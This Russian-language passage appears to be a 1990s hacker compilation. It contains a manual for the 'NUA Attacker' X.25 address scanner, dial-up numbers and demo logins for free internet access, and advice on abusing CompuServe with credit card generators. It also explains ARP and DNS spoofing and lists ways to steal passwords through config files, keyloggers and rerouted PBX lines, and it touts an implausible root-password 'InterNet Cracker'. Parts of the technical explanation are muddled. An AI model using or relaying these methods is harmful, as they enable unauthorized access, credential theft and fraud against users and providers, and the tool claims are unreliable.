Список телефонных номеров Net. NUAA.CFG Отчет о текущей атаке и конфигурации модема. NUAFILE.PHA Список сетевых адресов пользователей. LOGFILE.PHA Список сетевых адресов пользователей, составленных атакующим. В этом файле также содержатся коды ответа NUA, полученные атакующим. Файлы NUAfile и Logfile могут модифицироваться. Файлы NUAFILE.PHA и LOGFILE.PHA -- это обыкновенные текстовые файлы, вы можете редактировать их в любом текстовом редакторе. Кроме того, если файл уже существует, то любые данные добавятся к тому имени файла, которые существуют в файле с меткой EOF. Запуск программы Для запуска NUA Attacker введите с вашей консоли следующее: C:\ >NUAA [/I] Параметр /I позволяет вам начать выполнение программы без инициализации модема перед сканированием адресов. В этом случае, когда вы выберите команду Begin attack (Начать нападение), NUA Attacker сразу начнет сканирование адресов (если вы предварительно зарегистрировались в системе, то теперь вы снова должны зарегистрироваться на Net через приглашение @). Настройка режима сканирования Настройка сканирования адресов осуществляется через команду Setup attack. В появившемся диалоговом окне выполните настройку следующих опций. Phone Number Телефонный номер Net (SND390.TXT). Starting NUA Начальный сетевой адрес пользователя. Ending NUA Конечный сетевой адрес пользователя. Timeout Время ожидания ответа от сетевого адреса пользователя. Log filename Имя файла, в который будут выводится сообщения об ошибках и информация о неудачных попытках соединения. NUA filename Имя файла, в который будут выводится сетевые адреса пользователей (по умолчанию это файл NUAFILE.PHA). Decimals Включить или отключить режим десятичного сканирования. Пользователи Net используют сетевые адреса в формате XXXXXX.XX. NUA Attacker поддерживает сканирование десятичных чисел. Например, если вы настроите эту опцию так: Starting NUA: 619100.10 Ending NUA: 619200.10 то программа начнет сканирование с 619100.10, следующий адрес сканирования соответствует 619100.11, затем пойдет 619100.12 и так далее. При настройке сканирования вы можете воспользоваться следующими горячими клавишами: ESC Выйти из диалогового окна Setup attack без сохранения модифицированных параметров. LT-S Сохранить модифицированные параметры в память компьютера. После того, как вы выполните настройку сканирования, вы можете также сохранить ее на диск выбрав из меню File команду Save options. При этом сохранятся и все модифицированные параметры настроек модема. Несколько слов по поводу формата сетевого адреса Допустим, что вы произвели настройку так: Starting NUA: 6191 *WRONG* Ending NUA: 619100 *RIGHT* Это означает, что сканирование проходит в диапазоне с 6191 по 6199 с пропуском 6200. Поэтому вы должны настроить параметры сканирования так: Starting NUA: 619001 *RIGHT* Ending NUA: 619100 *RIGHT* То есть, оба числовых поля должны иметь одинаковую длину. Настройка модема Настройка модема осуществляется через диалоговое окно Modem parameters. COM Port Порт, который использует ваш модем. Baud Rate Скорость передачи данных в бодах (например, 9600). Initialization Инициализация терминальной строки перед началом сканирования. Эта опция также поддерживает Hayes-совместимые модемы. Dial Prefix Префикс перед телефонным номером. Dial Suffix Символ, который будет стоять после телефонного номера. Этот символ прошивает ваш модем соответствующим параметром. Hangup Прервать последовательность передаваемых данных. Процесс сканирования Выберите опцию Begin attack. После этого произойдет следующее: 1. Инициализация модема. 2. Набор номера Net. Этот номер соответствует настройкам, произведенным в диалоговом окне Setup attack. 3. Ожидание приглашения TERMINAL= и загрузка параметра D1. Параметр D1 означает, что ваш компьютер вошел в сеть. 4. Ожидание приглашения @. 5. Сканирование. Сканирование соответствует параметру Starting NUA диалогового окна Setup attack. После того, как сканирование сетевых адресов закончится, NUA Attacker выйдет из сети. В процессе сканирования вы можете воспользоваться следующими горячими клавишами: ALT-B Передать в Net сигнал, соответствующий прерыванию соединения. ALT-H Повесить трубку. В этом случае программа начнет работать в режиме Pause. ALT-X Повесить трубку, выйти и прекратить атаку. ESC Временно остановить процесс сканирования. В процессе нападения на экране вашего монитора будут появляться следующие сообщения: Starting NUA Сетевой адрес, который программа начинает сканировать. Ending NUA Отсканированный сетевой адрес. Connections Количество соединений, найденное в текущем сканировании. Current NUA Сетевой адрес, который программа отсканировала в данный момент времени. Log Logfile. NUA NUAfile. Time/Elapsed Текущее время и время сканирования. Status Код соединения и/или соответствующая информация о состоянии модема. Last Код последнего соединения и/или соответствующая информация о состоянии модема. В диалоговом окне Setup attack обратите внимание на переключатель в Bad Pad. Если выбрана опция Y, это означает, что программа посылает в сеть строку 10 и каждый раз ждет две секунды до тех пор, пока не появится приглашение @ или TERMINAL=. (то есть, до непосредственной регистрации на Net). Некоторые клавиатуры медленно реагируют на регистрацию в сети. Особенно это относится к высоким скоростям. Поэтому, если вы не можете зарегистрироваться, активизируйте параметр Y. Кредитные карточки и Internet Пересылая номер кредитной карточки через Internet, он попадает к продавцу, который производит так называемую авторизацию (происходит связь с организацией, ответственной за обработку транзакций). В случае положительного ответа на запрос, необходимая сумма денег резервируется, заказанный товар отправляется покупателю, затем деньги снимаются со специального банковского счета и перечисляются на счет продавца. Понятно, что если авторизация не будет осуществлена немедленно, то покупатель может обмануть продавца путем нескольких заказов подряд у сторонних продавцов. Проблема немедленной авторизации в Internet пока еще полностью не решена (многие фирмы используют обыкновенный модем для связи с процессором, каждый из которых, имеет, как правило, разный формат сообщений). В настоящее время кредитные карточки и Internet тесно связаны с фирмой CyberCash (http://www.cybercash.com). CyberCash через Public Key Cryptography шифрует всю конфиденциальную информацию, касающуюся кредитной карточки, связь с процессорами осуществляется с помощью так называемого центрального интерфейса CyberCash Gateway, покупатель инсталлирует на свой компьютер программу CyberCash Wallet, которая в зашифрованном виде хранит номер кредитной карточки, продавец осуществляет свою деятельность посредством платежного сервера и стандартных скриптов CGI. CompuServe и бесплатный Internet Через CompuServ можно получить доступ к Internet. Для этого необходимо инсталлировать Compuserve, запустить Membership Sign-Up, в разделе Страна не указывать Россию, получить временный пароль и логин и дозвониться к Infonet по одному из следующих московских телефонов: 9150001, 9150005, 9715101, 9150033. PlusCentro и бесплатный Internet На серевере PlusCentro через http://www.plus.centro.ru существует гостевой вход. На самом деле это вполне функциональный доступ к Internet. Необходимо только дозвониться по одному из следующих московских телефонов: 4901595, 4909419, 4909363, 4909371, 4909491. Подробности можно узнать по этому голосовому телефону: 4909424. Demos и бесплатный Internet Компания Demos позволяет использовать демонстрационный вход в Internet. Для этого необходимо дозвониться по одному из следующих московских телефонов: 9613200, 2410505, 9566285, 9566286. В поле Login нужно вписать _demo, а в поле Password набивается пароль в виде demo. Защита системы? Всегда! Так называемый класс защищенности А был определен в свое время Министерством обороны США в знаменитой "Orange book". Сейчас многие сети базируются на неоднородных программно-аппаратных системах и используют слишком разные сетевые сервисы. Так возникают вполне определенные дыры практически на всех уровнях работы сети, включая верификацию пользователей. Самая простая защита сети может осуществляться на уровне самой операционной системы, база которой, собственно, и есть сеть (аутентификация, авторизация, разграничение доступа, мониторинг, аудит). Впрочем, неправильная конфигурация такой системы тут же оставляет огромную брешь в защите сети. Более сложная защита сети уже зависит от профессионалов, которые обслуживают сеть и осуществляют поиск и исправление ошибок в операционной системе или корректирование некоторых сетевых установок по умолчанию посредством так называемого сканера безопасности системы. Ложные DNS-запросы в Internet В любом конкретном случае обмен датаграммами в Internet осуществляется между двумя удаленными хостами посредством заголовка пакета и так называемого поля данных. Заголовок -- это, прежде всего, идентификация, а в поле данных входит некоторый пакет высокого уровня. В частном случае, любой IP-пакет входит в состав протокола транспортного уровня TCP. С другой стороны, пакет IP является протоколом канального уровня локальной сети, т.е. межсетевым протоколом, который позволяет передавать датаграммы в сеть. Встает вопрос об адресации передаваемых данных. Для этого используется 32-разряднный адрес того же протокола IP. Казалось бы, что достаточно указать в заголовке IP в стандартном поле Destination Address адрес IP атакуемого узла. Но это не так. Любой пакет IP уже содержится внутри аппартного пакета локальной сети, т.е. любая атака на хост невозможна без аппаратной адресации пересылаемых датаграмм. Это означает, что в простом случае (адресация только в одной подсети) для атаки на хост, как минимум, необходимо знать его адрес локальной сети (Ethernet-адрес) или соответствующий адрес маршрутизатора. В этом случае, перед любым хакером встает проблема удаленного поиска информации относительно адресов локальной сети. Пусть на атакуемом узле имеется некоторый алгоритм удаленного поиска данных. Тогда хакер выбирает сегмент сети, используя дырявый протокол ARP, (пусть даже таблица ARP в установках атакуемой опреционной системы настроена весьма корректно) посылает запрос Ethernet на атакуемый адрес и получает необходимое соответствие между адресами IP и адресами локальной сети. Нужно сказать, что этот запрос является широковещательным и в нем указывается адрес маршрутизатора, являющийся адресом по умолчанию атакуемой операционной системы. Маршрутизатор, у которого всегда имеется список ARP с информацией (все данные вносятся посредством того же ARP-протокола) об адресе IP и адресе локальной сети, получает запрос, тут же вносит соответствующую запись о хосте хакера в список ARP и благополучно отправляет хакеру искомый адрес локальной сети. Это только начало. Теперь хакер перехватывает вышеназванный ARP-запрос и посылает в сеть ложный ARP-ответ, который, по сути, и является ничем иным, как хостом! А это уже означает, что хакер вполне спокойно контролирует сетевой трафик атакуемого хоста. Итак, хакер присваивает атакуемому сегменту сети ложный IP-адрес, входит в сеть, набивает "ту самую" команду, устанавливает в операционной системе свой адрес IP, посылает уже в свою сеть широковещательный запрос, а тупой маршрутизатор безукоризненно обновляет в своем списке адреса таким образом, что любые сетевые пакеты начинают автоматически направляться на аппаратный адрес локальной сети хакера. Только два субъекта знают о том, кто получил широковещательный запрос ARP. Ими являются хакер и глупый маршрутизатор, на который приходит пакет, непосредственно направленный на беззащитный ( пусть даже стоит занаменитый FireFall-1 фирмы Check Point Software Technologies) адрес атакуемого узла. И в самом деле, хост-жертва, ничего не подозревая (согласно установкам по умолчанию сетевой операционной системы) благополучно передает датаграммы на хакерский узел ARP, который, в свою очередь, отсылает принятый пакет сетевому маршрутизатору, а тот, понятно, дождавшись ответа, отсылает любую информацию уже не через обманутый хост ARP, а на атакуемый узел. Так как полный перехват пакетов между ложным сервером и узлом хакера проходит в промежуточной стадии, то возникает так называемая петлевая схема перехвата информации. Полный перехват возможен лишь в том случае, когда хакерский сервер ARP работает по так называемой мостовой схеме перехвата, согласно которой в качестве хакерского запроса ARP указывается любой незанятый (proxy-сервер) IP-адрес атакуемой сети. Плавно переходим к DNS-серверам. Последние используют в своих обращениях к удаленным узлам 32-битные адреса IP, мнемонически заключенные в четырехразрядную буквенную комбинацию, понятную каждому ламмеру. Любой хост может получить соответствующий DNS у ближайшего информационного сервера DNS по известной системе Domain Name Server через сетевой протокол DNS. Просто хост посылает запрос на известный IP-адрес DNS-сервера свой IP-адрес и имя сервера. Сервер DNS штудирует собственную базу данных, находит IP-адрес и отправляет на хост соответствующий ответ DNS. Схема весьма примитивная. Если же сервер DNS не находит искомую буквенную комбинацию, то он отсылает запрос на так называемый корневой сервер, который, в свою очередь, сверяет информацию с файлом настроек root.cache. Так происходит до тех пор, пока имя хоста не будет найдено в Internet. Вариант первый. Атакуемая сеть ожидает некоторый DNS-запрос. Хакер сидит в сегменте сети (т.е. он знает все параметры ISSa/ISSb) или находится на пути сетевого удаленного траффика (обычное примение ftp-команд get, put или ls). Вначале хакер извлекает из DNS-запроса номер отправителя порта UDP. Узнав, таким образом, имя сети, хакер посылает пакет DNS на захваченный UDP-порт и уже в этом пакете осуществляет подмену, и в конечном счете полностью перехватывает траффик между собой и удаленным сервером. Вариант второй. Хакер, маскируясь под настоящий DNS-сервер и используя известную дырку (ограниченность идентифицируемых пакетов) протокола UDP, напрямую пересылает на атакуемый узел не ложный запрос DNS, а, напротив, ложный DNS-ответ. Атакуемый сервер спокойненько принимает IP-адрес и, если он не совпадает с IP-адресом DNS-сервера, DNS-ответ не идентичен DNS-запросу, DNS-ответ попал в порт DNS-запроса (в крайнем случае хакер просто начинает перебирать 1023 взможных портов UDP) и, если поле идентификатора запроса идентично полю данных DNS-ответа, то хакер проникает в сеть путем внедрения фиктивного DNS-ответа в атакуемый хост. Филипп Циммерманн и его скандально известное детище Pretty Good Privacy Речь идет о самом мощном инструменте криптографической защиты -- алгоритме шифровки PGP, механизм обработки ключей которой продуман настолько тщательно, что взлом возможен лишь через лобовую атаку. Кроме этого PGP весьма популярен и бесплатно распространяется через Internet. Сегодня алгоритм шифровки PGP -- не признанный некоторыми официальными кругами стандарт электронной переписки. PGP - программа, работающая по так называемой схеме публичного и секретного ключей. Публичный ключ могут узнать все. Секретный -- только конечный пользователь PGP. Новое сообщение расшифровывается только через PGP с помощью второго секретного ключа, т.е. сообщение зашифровывается публичным ключом, отправляется и затем читается с использованием секретного ключа. PGP 5.0 для Windows 95 или Macintosh можно легко скачать с популярного сервера MIT. Взлом Internet Под термином взлом Internet подpазумевают несколько pазличных вещей. Во-пеpвых: незаконное подключение к пpовайдеpу и так называемые "халявные" подключения. Как это осуществляется? Самый пpостой ваpиант -- воровство. Хакер крадет чужой паpоль. В наше вpемя пpи огpомном количестве недалеких пользователей хакеру это дело не пpедставляет особого тpуда, так как подавляющее большинство пользователей пользуется таким популяpным пакетом e-mail как UUPC Чеpнова. А также некотоpые пpовайдеpы все еще пpедоставляют вход в систему как online так и offline под одним и тем же паpолем. Хакеру остается самое пpостое -- пеpеписать файл init aka init1 с каталога \UUPC. Там будет пpописан как login так и password. Более сложные ваpианты взлома Internet -- запуск на машине пользователя виpусной программы или pезидентной, отслеживающей появление стpочки "ogin:". Далее в отдельный файл записываются все нажатия клавиатуры. Если пользователь использует Windows 95 и pаботает в Netscape, используя SLIP и PPP, то хакер обpащает внимание на скpипты команд и файл с pасшиpением .pwl (паpоль зашифpованный пpимитивным методом DES). Если на машину пользователя отсутствует доступ, к pешению пpоблемы хакер подходит дpугим путем. Большая часть соединений пpиходится на телефонные линии. Практически в любом крупном офисе той или иной компании имеется небольшая АТС. Для хакера пеpепpогpаммиpовать АТС так чтобы, звонки с данного номеpа пеpеpоучивались на себя, не составляет особого труда. Далее запускается теpминальная пpогpамма BBS с заставкой пpовайдеpа. Естественно, пользователь покупается и вводит login и password. Далее выдается масса ошибок, а затем линия разрывается. Взлом Internet 2 Оказывается, что в Москве существует два необычных сервера, пpедоставляющие доступ в Internet, причем, кроме обыкновенных юзеров, услугами этих серверов пользуются хакеры, фрикеры и другой подобный народ. Речь идет о CompuServe и America-On-Line. CompuServe считается самой легкой системой, т.е. легко ломающейся. Для этого хакер находит дистрибутивные дискеты с программным обеспечением для доступа к CompuServe и софт типа CreditWizard или Credit Master Comfake, затем дозванивается до Scitor по телефону 9563589 и спокойно входит в сеть. Scitor, как говорят хакеры, хорош тем, что доступ к ресурсам сети предоставляется через сгенерированный выше описанным способом эккаунт, в то время как SprintNet высылает информацию о логине и пароле пользователя на адрес электронной почты. В Москве сеть America-On-Line доступна через SprintNet (9280985, 9286344 или 5789119). Непонятно, о чем и чем думают системные администраторы этих серверов. Интеллектуальный взломщик Internet Люди утверждают, что взломать InterNet возможно, а другие с криками "Lamers must die" пытаются доказать, что это прикол и совсем не реально. Хакеры утверждают, что пришло время поставить все точки над i. Взлом Internet возможен! Причем сделать это можно не будучи хакером и не обладая какой-то дополнительной информацией -- достаточно воспользоватся уникальной программой InterNet Cracker (nethackers@valimar.poltava.ua). Вероятно, она никогда не была бы представлена широкому кругу пользователей и так бы и осталась лишь для internal usage, но исходные тексты программы были украдены и в перекомпилированном виде, с убранным авторством, ее стали продавать. Как работает эта программа. Когда пользователь связывается с узлом Internet, для входа необходимо ввести login (идентификатор пользователя) и password (его пароль). В Unix существуют так называемые hard-coded (стандартные) идентификаторы, поэтому для взлома системы хакеру остается лишь найти соответствующий пароль. InterNet Cracker позволяет находить пароли для пользователя с именем root пользуясь оригинальным методом brute-force password spoofing NetHackers. Если после ввода имени на запрос login, хакера просят ввести Password, то это и будет строкой, которую нужно указать программе. После запуска, программа остается резидентной в памяти и отслеживает появление на экране приглашения ввести пароль. Затем активизируется процедура подбора. Пример: 1) inetcrk.exe password 2) хакер соединяется с провайдером (любым DOS-терминалом) 3) появляется запрос имени login: 4) хакер вводит root 5) появляется строка password: Если все сделано правильно, будет запущен главный модуль программы. О его работе будет свидетельствовать мигающий экран. Подбор паролей начался! Процесс подбора может занять от 1 до 5 минут, в зависимости от качества связи и быстродействия компьютера. По окончании работы на экран будет выдано несколько вариантов паролей. После этого хакер немедленно прерывает соединение, чтобы на удаленном компьютере не осталось следов его работы. Если в процессе работы происходит обрыв связи, то все результаты работы будут неверны. Как правило, для нахождения действительно настоящего пароля хакеру требуется провести несколько таких сеансов. Низкий процент попаданий может быть связан с особенностями шифровки паролей на узле провайдера. Единственным требованием для работы программы является ее запуск под операц